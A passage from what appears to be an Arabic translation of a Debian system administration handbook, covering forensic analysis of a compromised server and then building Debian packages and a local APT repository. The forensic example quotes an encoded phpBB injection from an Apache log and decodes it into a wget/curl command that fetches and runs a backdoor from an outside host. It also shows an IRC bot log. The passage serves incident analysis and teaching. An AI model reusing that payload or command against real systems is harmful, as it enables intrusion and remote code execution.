إعادة تثبيت النظام على مخدم بعيد ليست عملية سهلة دوماً؛ قد تحتاج مساعدة من شركة الاستضافة، لأن بعض هذه الشركات لا توفر أنظمة مؤتمتة لإعادة تثبيت النظام. يجب الانتباه لعدم إعادة تثبيت نسخة احتياطية أُخذِت بعد حدوث الاختراق. مثالياً، يجب استعادة البيانات فقط، أما البرمجيات فيجب إعادة تثبيتها من وسائط التثبيت.

14.7.5. التحليل الجنائي

بعد استعادة الخدمة، حان الوقت لفحص صور القرص المأخوذة من النظام المخترق في سبيل فهم طريقة الهجوم. عند ربط هذه الصور بنظام الملفات، يجب الانتباه لاستخدام الخيارات ro,nodev,noexec,noatime لتفادي تعديل محتوياتها (بما في ذلك تواريخ الوصول للملفات) أو تشغيل برامج مشبوهة عن طريق الخطأ.

يشمل تتبع سلسلة أحداث الهجوم عادة البحث عن كل شيء تَعدَّل أو نُفِّذ:

قراءة ملفات .bash_history مثيرة جداً للاهتمام غالباً؛

كذلك سرد الملفات التي أنشئت مؤخراً، أو عدّلت أو فُتِحَت؛

يساعد الأمر strings في التعرف على البرامج التي ثبّتَها المخترِق، عبر استخراج السلاسل النصية من الملفات الثنائية؛

تسمح ملفات السجلات في /var/log/ غالباً بإعادة بناء تسلسل زمني للأحداث.

كما تسمح الأدوات المتخصصة باستعادة محتويات أي ملفات محذوفة، بما فيها ملفات السجلات التي يحذفها المهاجمون غالباً.

Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see قسم A.8, “‏Kali Linux”), with its forensic mode, BlackArchLinux[7] and the commercial Grml-Forensic, based on Grml (see قسم A.6, “‏Grml”).

14.7.6. إعادة بناء سيناريو الهجوم

يجب أن تنطبق جميع العناصر التي جُمِعَت أثناء عملية التحليل مع بعضها مثل قطع أحجية تركيب الصور؛ غالباً ما يترافق إنشاء أولى الملفات المشبوهة مع سجلات تُثْبت عملية الاختراق. يجب أن تكون الأمثلة الحقيقية أفصح من اللغو النظري.

السجل التالي هو جزء من سجل access.log التابع لأباتشي:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ http://secunia.com/advisories/13239/

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

عبر فك تشفير عنوان URL الطويل هذا سنفهم أن المهاجم قد تمكن من تنفيذ كود PHP التالي: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). وبالفعل، لقد عثرنا على ملف bd في /tmp/. يعيد لنا تنفيذ strings /mnt/tmp/bd مجموعة سلاسل، منها PsychoPhobia Backdoor is starting.... يبدو أنه باب خلفي فعلاً.

في وقت لاحق، استُخدِمَت هذه الصلاحيات لتنزيل وتثبيت وتشغيل بوت IRC يتصل بشبكة IRC سرية (underground). يمكن بعدها التحكم بالبوت عبر هذا البروتوكول وأمره بتنزيل ملفات للمشاركة. بل إن هناك سجل خاص بهذا البرنامج:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

تُظهِر هذه الأمثلة تخزين ملفي فيديو على المخدم بوساطة العنوان 82.50.72.202.

على التوازي، عمد المهاجم إلى تنزيل زوج من الملفات الإضافية، /tmp/pt و /tmp/loginx تمرير هذين الملفين على strings يعطي سلاسل مثل Shellcode placed at 0x%08lx و Now wait for suid shell.... يبدوان وكأنهما برنامجين لاستغلال الثغرات المحلية للحصول على الصلاحيات الإدارية. لكن هل حققا هدفهما؟ في هذه الحالة، غالباً لم يصلا، لأنه لا يبدو أن هناك ملفات عُدّلت بعد الاختراق الأولي.

في هذا المثال، أعدنا بناء عملية التطفل كاملة، ويمكن أن نستنتج أن المهاجم تمكن من الاستفادة من النظام المخترق لحوالي ثلاثة أيام؛ لكن أهم عنصر في هذا التحليل هو أننا قد تعرفنا على الثغرة، ويستطيع مدير النظام أن يضمن أن الثغرة قد أُصلحَت فعلاً في التثبيت الجديد.

[7] https://blackarch.org

فصل 15. إنشاء حزمة دبيان

من الشائع جداً، بين مديري النظم الذين يتعاملون مع حزم دبيان بشكل منتظم، أن يصلوا إلى مرحلة يحتاجون فيها لإنشاء حزم خاصة بهم، أو لتعديل حزمة سابقة. يهدف هذا الفصل للإجابة عن أكثر الأسئلة شيوعاً في هذا المجال، وتقديم العناصر اللازمة للاستفادة من بنية دبيان التحتية بأفضل طريقة ممكنة. ومع بعض الحظ، قد تشعر ‒بعد تجربة مهاراتك في الحزم المحلية‒ بالحاجة للغوص أكثر من ذلك وتنضم لمشروع دبيان نفسه!

15.1. إعادة بناء حزمة من المصدر

تحتاج إعادة بناء حزمة ثنائية في عدد من الظروف. في بعض الحالات، يحتاج مدير النظام ميزة برمجية تتطلب ترجمة البرنامج من المصدر، مع استخدام خيار ترجمة معين؛ وفي حالات أخرى، لا يكون البرنامج المُحزَّم في النسخة المُبّتة من دبيان حديثاً بما يكفي. في الحالة الأخيرة، سيعمد مدير النظام عادة لبناء حزمة جديدة مأخوذة من نسخة دبيان أحدث — مثل الاختبارية أو حتى غير المستقرة — بحيث تعمل هذه الحزمة الجديدة في توزيعته المستقرة؛ تدعى هذه العملية ”بالنقل الخلفي“ (backporting). كالعادة، عليك الانتباه، قبل أن تجري هذه المهمة، إلى التحقق من أن أحداً لم يسبقك إليها — نظرة سريعة على صفحة متتبع حزم دبيان الخاصة بتلك الحزمة ستعطيك هذه المعلومة.

→ https://tracker.debian.org/

15.1.1. الحصول على المصادر

تبدأ إعادة بناء حزمة دبيان بالحصول على الشفرة المصدرية. أسهل طريقة هي استخدام الأمر apt-get source source-package-name. يحتاج هذا الأمر لإضافة سطر deb-src في الملف /etc/apt/sources.list، وتحديث ملف الفهارس (عبر apt-get update). يجب أن تكون هذه الشروط محققة مسبقاً إذا اتبعت التعليمات من الفصل الذي يتحدث عن إعدادات APT (انظر قسم 6.1, “تعبئة الملف sources.list”). لكن لاحظ أنك سوف تنزّل الحزم المصدرية من نسخة دبيان المحددة في سطر deb-src. إذا كنت تريد الحصول عليها من نسخة دبيان أخرى، قد تضطر لتنزيلها يدوياً من مرآة دبيان أو من موقع الوب. هذا يعني تنزيل ملفين أو ثلاثة (امتداداتها *.dsc — أي Debian Source Control — و *.tar.comp وأحياناً *.diff.gz أو *.debian.tar.comp — حيث تأخذ comp إحدى القيم gz، ‏bz2 أو xz حسب أداة الضغط المستخدمة)، بعدها استدعاء الأمر dpkg-source -x file.dsc. إذا كان الوصول للملف *.dsc ممكناً بشكل مباشر من عنوان URL، فيمكنك استخدام طريقة أبسط من هذه للحصول على جميع الملفات، وهي استخدام الأمر dget URL. يجلب هذا الأمر (الذي تجده في الحزمة devscripts) ملف *.dsc من العنوان المحدد، بعدها يحلل محتوياته، ويحضر الملف أو الملفات التي يشار إليها فيه. بعد تنزيل كل شيء، سوف يفك الضغط عن الحزمة المصدرية (ما لم تستخدم الخيار -d أو --download-only).

15.1.2. إجراء التغييرات

Let us use the samba package as an example.

$ apt source samba Reading package lists... Done NOTICE: 'samba' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/samba-team/samba.git Please use: git clone https://salsa.debian.org/samba-team/samba.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 11.7 MB of source archives. Get:1 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (dsc) [4,316 B] Get:2 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (tar) [11.4 MB] Get:3 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (diff) [252 kB] Fetched 11.7 MB in 1s (9,505 kB/s) dpkg-source: info: extracting samba in samba-4.9.5+dfsg dpkg-source: info: unpacking samba_4.9.5+dfsg.orig.tar.xz dpkg-source: info: unpacking samba_4.9.5+dfsg-5+deb10u1.debian.tar.xz dpkg-source: info: using patch list from debian/patches/series dpkg-source: info: applying 07_private_lib dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch [...]

The source of the package is now available in a directory named after the source package and its version (samba-4.9.5+dfsg); this is where we'll work on our local changes.

The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.9.5+dfsg-5, we can create version 2:4.9.5+dfsg-5falcot1, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the dch command (Debian CHangelog) from the devscripts package.

$ cd samba-4.9.5+dfsg $ dch --local falcot

The last command invokes a text editor (sensible-editor — this should be your favorite editor if it is mentioned in the VISUAL or EDITOR environment variables, and the default editor otherwise) to allow documenting the differences brought by this rebuild. This editor shows us that dch really did change the debian/changelog file.

عندما تحتاج تغيير خيارات البناء، يجب إجراء التغيير في debian/rules، الذي يقود الخطوات المختلفة في عملية بناء الحزمة. في أبسط الحالات، ستجد السطور التي تتعلق بالإعدادات الافتراضية (./configure …) أو عملية البناء الفعلية ($(MAKE) … or make …) بسهولة. إذا لم تُستَدعى هذه الأوامر صراحة، فالأغلب أن هناك أمر صريح آخر يستدعيها، وفي تلك الحالة عليك الرجوع إلى وثائق تلك الأوامر حتى تعرف طريقة تغيير السلوك الافتراضي. قد تحتاج في الحزم التي تستخدم الأمر dh لتعديل سلوك الأمرين dh_auto_configure وdh_auto_build (انظر صفحات الدليل الخاصة بهما لمعرفة طريقة عمل هذا).

قد تحتاج تحديث الملف debian/control أيضاً اعتماداً على طبيعة التغييرات المحلية التي أجريتها على الحزمة، يحوي هذا الملف وصفاً للحزم المولّدة. على وجه الخصوص، يحوي هذا الملف سطور Build-Depends تتحكم بقائمة الاعتماديات التي يجب تلبيتها عند بناء الحزمة. تشير هذه الاعتماديات غالباً إلى نسخ الحزم الموجودة في التوزيعة التي أتت منها الحزمة المصدرية، لكنها قد لا تكون متوفرة في التوزيعة المستخدمة للبناء. لا توجد طريقة مؤتمتة تبيّن هل الاعتمادية حقيقية أم أنها محددة فقط لضمان محاولة البناء باستخدام آخر نسخة من المكتبة — هذه هي الطريقة الوحيدة المتاحة لإجبار البانيات الآلية (autobuilder) على استخدام نسخة معينة من الحزمة أثناء البناء، لذلك يستخدم مشرفو دبيان في كثير من الأحيان اعتماديات لها أرقام محددة.

إذا كنت متأكداً أن هذه الاعتماديات صارمة أكثر من اللازم، يمكنك تخفيفها محلياً. ستساعدك قراءة الملفات التي توثق الطريقة المعيارية لبناء البرنامج — هذه الملفات تدعى INSTALL غالباً — على معرفة الاعتماديات المناسبة. في الحالة المثالية، يجب أن تتمكن من تلبية الاعتماديات ضمن التوزيعة المستخدمة للبناء؛ إذا لم تتمكن من ذلك، ستبدأ عملية تعاودية، حيث يجب نقل الحزم المذكورة في الحقل Build-Depends خلفاً قبل أن تتمكن من نقل الحزمة المستهدفة. قد لا تحتاج بعض الحزم أن تنقلها خلفياً، ويمكن تثبيتها كما هي أثناء عملية البناء (إحدى الأمثلة البارزة هي debhelper). لاحظ أن عملية النقل الخلفي قد تتعقد سريعاً إذا لم تكن حذراً. لذلك، يجب تقليل المنقولات الخلفية إلى أقل ما يمكن.

تلميح تثبيت Build-Depends

تسمح apt-get بتثبيت كل الحزم المذكورة في حقول Build-Depends في حزمة مصدرية ما متوفرة في توزيعة مذكورة في سطر deb-src في الملف /etc/apt/sources.list. كل ما تحتاجه هو استدعاء الأمر apt-get build-dep source-package.

15.1.3. بدء إعادة البناء

بعد تطبيق كل التغييرات التي تحتاجها إلى الكود المصدري، يمكننا توليد الحزمة الثنائية (ملف .deb). يدير الأمر dpkg-buildpackage العملية كلها.

مثال 15.1. إعادة بناء حزمة

$ dpkg-buildpackage -us -uc [...]

قد يفشل الأمر السابق إذا لم تُحدَّث حقول Build-Depends، أو إذا لم تُثبَّت الحزم المناسبة. في هذه الحالات، يمكن تجاوز عملية التحقق عبر تمرير الخيار -d إلى dpkg-buildpackage. لكن تجاهل هذه الاعتماديات صراحة يعرضك لخطر إخفاق عملية البناء في مرحلة لاحقة. وأسوأ من ذلك، قد يبدو أن الحزمة تبنى بشكل صحيح لكنها لا تعمل بشكل سليم لاحقاً: فبعض البرامج تعطّل بعض مزاياها آلياً إذا لم تعثر على إحدى المكتبات المطلوبة أثناء البناء.

أدوات fakeroot

في الحقيقة، عملية إنشاء الحزم ما هي إلا تجميع لمجموعة ملفات سابقة (أو مبنية) في أرشيف واحد؛ ينتهي الحال بمعظم الملفات داخل الأرشيف بأن تصبح ملكاً للمستخدم root. لكن بناء الحزمة بالكامل تحت صلاحيات هذا المستخدم يعني زيادة المخاطر؛ لحسن الحظ، يمكنك تفادي ذلك باستخدام الأمر fakeroot. يمكن استخدام هذه الأداة لتشغيل برنامج وإعطائه انطباعاً أنه يعمل بصلاحيات root وينشئ ملفات لها ملكية وصلاحيات كيفيّة. عندما ينشئ البرنامج الأرشيف الذي سيصبح حزمة دبيان، سوف يخدع وينشئ أرشيفاً يحوي ملفات تنتمي لمالكين غير محددين، بما فيهم root. هذه العملية مريحة جداً لدرجة أن dpkg-buildpackage يستخدم fakeroot افتراضياً عند بناء الحزم.

لاحظ أن البرنامج يخدع فقط حتى ”يصدق“ أنه يعمل بصلاحيات حساب إداري، لكن العملية تعمل فعلياً تحت صلاحيات المستخدم الحالي الذي استدعى fakeroot program (وسوف تنشأ الملفات في الحقيقة بصلاحيات ذلك المستخدم). لا تمنح أي صلاحيات إدارية يستطيع البرنامج إساءة استخدامها نهائياً.

في معظم الأحيان، يستخدم مطورو دبيان برنامجاً عالي المستوى مثل debuild؛ الذي يستدعي dpkg-buildpackage كالعادة لكنه يضيف أيضاً استدعاءً لبرنامج يجري عدة فحوصات للتحقق من اتفاق الحزم المولّدة مع سياسة دبيان. كما يُنظِّف هذا السكربت البيئة بحيث لا ”تُلوّث“ متغيرات البيئة المحلية عملية بناء الحزمة. الأمر debuild هو أحد الأدوات من المجموعة devscripts، التي تتناسق مع بعضها وتشترك في بعض الإعدادات حتى تسهِّل مهمة مشرف الحزمة.

QUICK LOOK Building packages in a chrooted environment

يسمح البرنامج pbuilder (في الحزمة ذات الاسم نفسه) ببناء حزمة دبيان في بيئة لها جذر مختلف (chrooted environment). ينشئ البرنامج أولاً مجلداً مؤقتاً يحوي النظام المصغر اللازم لبناء الحزمة (يتضمن الحزم المذكورة في Build-Depends أيضاً). بعدها يستخدم هذا المجلد كمجلد جذر (/) أثناء عملية البناء، وذلك باستخدام الأمر chroot.

تسمح هذه الأداة بإجراء عملية البناء في بيئة لم تمسها تعديلات المستخدمين. يسمح هذا باكتشاف اعتماديات البناء المفقودة فوراً (لأن البناء لن ينجح ما لم تكن الاعتماديات المناسبة موثقة). أخيراً، تسمح هذه الأداة أيضاً ببناء حزمة لنسخة دبيان تختلف عن النسخة التي يستخدمها النظام ككل: فقد يستخدم الجهاز دبيان المستقرة في أعماله العادية، وتستطيع pbuilder على الجهاز نفسه استخدام غير المستقرة لبناء الحزم.

schroot allows running a command or a login shell in a chrooted environment.

15.2. بناء حزمتك الأولى

15.2.1. الحزم الفوقية أو الحزم الزائفة

تتشابه الحزم الزائفة (fake packages) مع الحزم الفوقية (meta-packages) من ناحية أن كلاً منها عبارة عن قواقع فارغة تستخدم فقط للاستفادة من تأثير بياناتها الفوقية على عملية معالجة الحزم.

The purpose of a fake package is to trick dpkg and apt into believing that some package is installed even though it is only an empty shell. This allows satisfying dependencies on a package when the corresponding software was installed outside the scope of the packaging system. Such a method works, but it should still be avoided whenever possible, since there is no guarantee that the manually installed software behaves exactly like the corresponding package would and other packages depending on it would not work properly.

من ناحية اخرى، تُمثّل الحزمة الفوقية مجموعة اعتماديات غالباً، حيث ينتج عن تثبيت الحزمة الفوقية تثبيت مجموعة من الحزم الأخرى بنقلة واحدة.

يمكن إنشاء هذين النوعين من الحزم باستخدام الأمرين equivs-control وequivs-build (من الحزمة equivs)، ينشئ الأمر equivs-control ملف ترويسة حزمة دبيان يجب تعديله حتى يحوي اسم الحزمة المنشأة، ورقم إصدارها، واسم مشرفها، واعتمادياتها، ووصفها. الحقول الأخرى التي لا تملك قيماً افتراضية ليست إلزامية ويمكن حذفها. الحقول Copyright وChangelog وReadme وExtra-Files ليست حقولاً معيارية في في حزم دبيان؛ لا معنى لهذه الحقول خارج نطاق equivs-build، وسوف تُحذَف من ترويسات الحزم المولّدة.

مثال 15.2. ملف ترويسة الحزمة الزائفة libxml-libxml-perl

Section: perl Priority: optional Standards-Version: 4.4.1 Package: libxml-libxml-perl Version: 2.0134-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.7.4) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled & installed in the site_perl directory.

الخطوة التالية هي توليد حزمة دبيان باستخدام الأمر equivs-build file. تهانينا: أُنشِئَت الحزمة في المجلد الحالي ويمكن التعامل معها مثل أي حزمة دبيان أخرى.

15.2.2. أرشيف ملفات بسيط

يحتاج مديرو النظم في شركة فلكوت إنشاء حزمة دبيان لتسهيل نشر مجموعة مستندات على عدد كبير من الأجهزة. بدأ مدير النظم المسؤول عن هذه المهمة بقراءة ”New Maintainer's Guide“ (دليل المشرف الجديد)، ثم شرع يعمل على حزمته الأولى.

→ https://www.debian.org/doc/manuals/maint-guide/

الخطوة الأولى هي إنشاء مجلد بالاسم falcot-data-1.0 لتخزين الحزمة المصدرية. سوف تُسمّى الحزمة ‒منطقياً‒ falcot-data وستحمل رقم الإصدار 1.0. بعدها يضع مدير النظام المستندات في المجلد الفرعي data. ثم يستدعي الأمر dh_make (من الحزمة dh-make) لإضافة الملفات اللازمة لعملية توليد الحزمة، التي ستحفظ جميعاً في المجلد الفرعي debian:

$ cd falcot-data-1.0 $ dh_make --native Type of package: (single, indep, library, python) [s/i/l/p]? i Maintainer Name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Fri, 04 Sep 2015 12:09:39 -0400 Package Name : falcot-data Version : 1.0 License : gpl3 Package Type : indep Are the details correct? [Y/n/q] Currently there is not top level Makefile. This may require additional tuning Done. Please edit the files in the debian/ subdirectory now. $

The selected type of package (indep) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all). single acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

The library type corresponds to a source package leading to several binary packages. It is useful for shared libraries, since they need to follow strict packaging rules.

تلميح اسم المشرف وعنوان بريده الإلكتروني

معظم البرامج التي تعمل في مجال صيانة الحزم تبحث عن اسمك وعنوان بريدك الإلكتروني في متغيرات البيئة DEBFULLNAME و DEBEMAIL أو EMAIL. إذا عرّفتَ هذه المتغيرات بشكل دائم فسترتاح من عناء كتابتها عدة مرات. إذا كنت تستخدم صدفة bash، يكفي إضافة السطرين التاليين إلى الملف ~/.bashrc (عليك طبعاً استبدال القيم بما يناسب!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

أنشأ الأمر dh_make مجلداً فرعياً بالاسم debian يحوي ملفات عديدة. بعض هذه الملفات ضروري، خصوصاً rules وcontrol وchangelog وcopyright. أما الملفات ذات اللاحقة .ex فهي أمثلة يمكن استخدامها بعد تعديلها (وإزالة اللاحقة) إذا كانت تناسبك. أما إذا لم تكن بحاجة لها، فعليك إزالتها. لكن حافظ على الملف compat، لأنه يلزم لعمل مجموعة برامج debhelper (كلها تبدأ أسماؤها بالبادئة dh_) بشكل صحيح، التي تستخدم في المراحل المختلفة من عملية بناء الحزمة.

The copyright file must contain information about the authors of the documents included in the package, and the related license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default changelog file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from unstable to internal is enough. The control file was also updated: the Section field has been changed to misc and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package.

مثال 15.3. ملف control

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper (>= 10) Standards-Version: 4.4.1 Package: falcot-data Architecture: all Depends: firefox-esr | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

مثال 15.4. ملف changelog

falcot-data (1.0) internal; urgency=low * Initial Release. * Let's start with few documents: - internal company structure; - contacts for each department. -- Raphael Hertzog <hertzog@debian.org> Fri, 04 Sep 2015 12:09:39 -0400

مثال 15.5. ملف copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: falcot-data Files: * Copyright: 2004-2019 Falcot Corp License: All rights reserved.

أساسيات ملف Makefile

ملف Makefile هو سكربت يستخدمه البرنامج make؛ يُحدّد هذا السكربت قواعد بناء مجموعة من الملفات تنتج عن شجرة اعتماديات (مثلاً، يمكن بناء برنامج من ترجمة مجموعة من الملفات المصدرية). يحدد ملف Makefile هذه القواعد بالصيغة االتالية:

target: source1 source2 ... command1 command2

تفسير هذه القواعد كالتالي: إذا كان أحد ملفات source* أحدث من الملف target، عندئذ يجب توليد الهدف (target) باستخدام command1 و command2.

لاحظ أن سطور الأوامر يجب أن تبدأ بمحرف الجدولة (tab)؛ لاحظ أيضاً أن فشل أحد سطور الأوامر لن يقاطع العملية كلها إذا كان السطر يبدأ بمحرف - (dash).

يجوي الملف rules عادة مجموعة قواعد تستخدم لضبط وبناء وتثبيت البرنامج في مجلد فرعي مخصص (يسمى حسب اسم الحزمة الثنائية). بعدها تؤرشف محتويات هذا المجلد الفرعي في حزمة دبيان كما لو كانت جذر نظام الملفات. في حالتنا، سوف تثبت الملفات في المجلد الفرعي debian/falcot-data/usr/share/falcot-data/، حتى يؤدي تثبيت الحزمة المولّدة لنشر الملفات في /usr/share/falcot-data/. يستخدم الملف rules كملف Makefile فيه بضعة أهداف قياسية (منها clean الذي يستخدم لتنظيف المجلد المصدر، وbinary الذي يستخدم لتوليد الحزمة الثنائية).

رغم أن هذا الملف هو لبُّ العملية، إلا أنه لم يعد يحوي إلا القليل اللازم لاستدعاء مجموعة قياسية من الأوامر التي توفرها الأداة debhelper. وهذه هي حالة الملفات التي يولدها dh_make. لتثبيت ملفاتنا، علينا فقط ضبط سلوك الأمر dh_install عبر إنشاء ملف debian/falcot-data.install التالي:

data/* usr/share/falcot-data/

At this point, the package can be created. We will, however, add a lick of paint. Since the administrators want the documents to be easily accessed from the menus of graphical desktop environments, we add a falcot-data.desktop file and get it installed in /usr/share/applications by adding a second line to debian/falcot-data.install.

مثال 15.6. ملف falcot-data.desktop

[Desktop Entry] Name=Internal Falcot Corp Documentation Comment=Starts a browser to read the documentation Exec=x-www-browser /usr/share/falcot-data/index.html Terminal=false Type=Application Categories=Documentation;

الملف debian/falcot-data.install كما يبدو بعد تحديثه:

data/* usr/share/falcot-data/ falcot-data.desktop usr/share/applications/

Our source package is now ready. All that is left to do is to generate the binary package, with the same method we used previously for rebuilding packages: we run the dpkg-buildpackage -us -uc command from within the falcot-data-1.0 directory.

15.3. إنشاء مستودع حزم للأداة APT

بدأت شركة فلكوت تدريجياً بمتابعة صيانة عدد من حزم دبيان، سواء الحزم المعدلة محلياً عن حزم سابقة، أو حزم منشأة من الصفر لتوزيع بيانات وبرامج داخلية.

يريدون مكاملة هذه الحزم في أرشيف حزم يمكن استخدامه مباشرة عبر APT لتسهيل عملية التنصيب. ولأسباب واضحة متعلقة بالصيانة، يريدون فصل الحزم الداخلية عن الحزم التي أعادوا بناءها محلياً. الهدف هو أن تصبح المدخلات الموافقة لهذه الحزم في ملف /etc/apt/sources.list.d/falcot.list كما يلي:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

أعدّ مديرو النظم إذاً مضيفاً ظاهرياً على مخدم HTTP الداخلي لديهم، مع تحديد /srv/vhosts/packages/ كجذر مساحة الوب المرتبطة به. لقد سلموا عملية إدارة الأرشيفات نفسها إلى الأمر mini-dinstall (من الحزمة ذات الاسم نفسه). تتابع هذه الأداة مجلد الواردات incoming/ (في حالتنا، /srv/vhosts/packages/mini-dinstall/incoming/) وتنتظر وصول حزم جديدة إليه؛ وعند رفع حزمة جديدة سوف تثبتها في أرشيف دبيان في /srv/vhosts/packages/. يقرأ الأمر mini-dinstall ملف *.changes الذي ينشأ عند توليد حزم دبيان. تحوي هذه الملفات قائمة بجميع الملفات الأخرى المرتبطة بهذه النسخة من الحزمة (*.deb و*.dsc و*.diff.gz/*.debian.tar.gz و*.orig.tar.gz أو مثيلاتها الناتجة عن استخدام أدوات ضغط مختلفة)، وهي تسمح للأمر mini-dinstall بمعرفة الملفات التي يجب تثبيتها. كما تحوي ملفات *.changes اسم التوزيعة المستهدفة (غالباً unstable) الذي يُذكر في آخر مدخلة من مدخلات debian/changelog، حيث يستخدم mini-dinstall هذه المعلومة ليقرر المكان الذي سيثبت الحزمة فيه. لذلك يتعيّن على مديري النظم تغيير هذا الحقل دوماً قبل بناء أي حزمة، وإعطائه القيمة internal أو updates، حسب الموقع الهدف. بعدها يولّد mini-dinstall الملفات التي تحتاجها APT، مثل Packages.gz.

ALTERNATIVE apt-ftparchive and reprepro

إذا كنت ترى أن mini-dinstall معقدٌ جداً بالنسبة لأرشيف دبيان الذي تحتاجه، يمكنك أيضاً استخدام الأمر apt-ftparchive. تفحص هذه الأداة محتويات مجلد ما وتعرض (على خرجها القياسي) ملف Packages يوافق هذه المحتويات. في حالة شركة فلكوت، يستطيع مديرو النظم رفع الحزم مباشرة إلى /srv/vhosts/packages/updates/ أو /srv/vhosts/packages/internal/، ثمّ استدعاء الأوامر التالية لإنشاء ملفات Packages.gz:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

يسمح الأمر apt-ftparchive sources بإنشاء ملفات Sources.gz بأسلوب مشابه.

reprepro is a more advanced tool for the same purpose. It can produce, manage and synchronize a local repository of packages. It stores packages and checksums in a Berkeley DB database file, so no database server is needed. With reprepro you can check signatures of mirrored repositories and create signatures of the generated package indices.

لإعداد mini-dinstall يجب ضبط الملف ~/.mini-dinstall.conf؛ كانت المحتويات في حالة شركة فلكوت كالتالي:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

أحد القرارات التي تستحق الذكر هو توليد ملفات Release لكل أرشيف. وهذه تساعد في إدارة أولويات تثبيت الحزم باستخدام ملف الضبط /etc/apt/preferences (انظر قسم 6.2.5, “إدارة أولويات الحزم” لمزيد من التفاصيل).

أمن mini-dinstall والصلاحيات

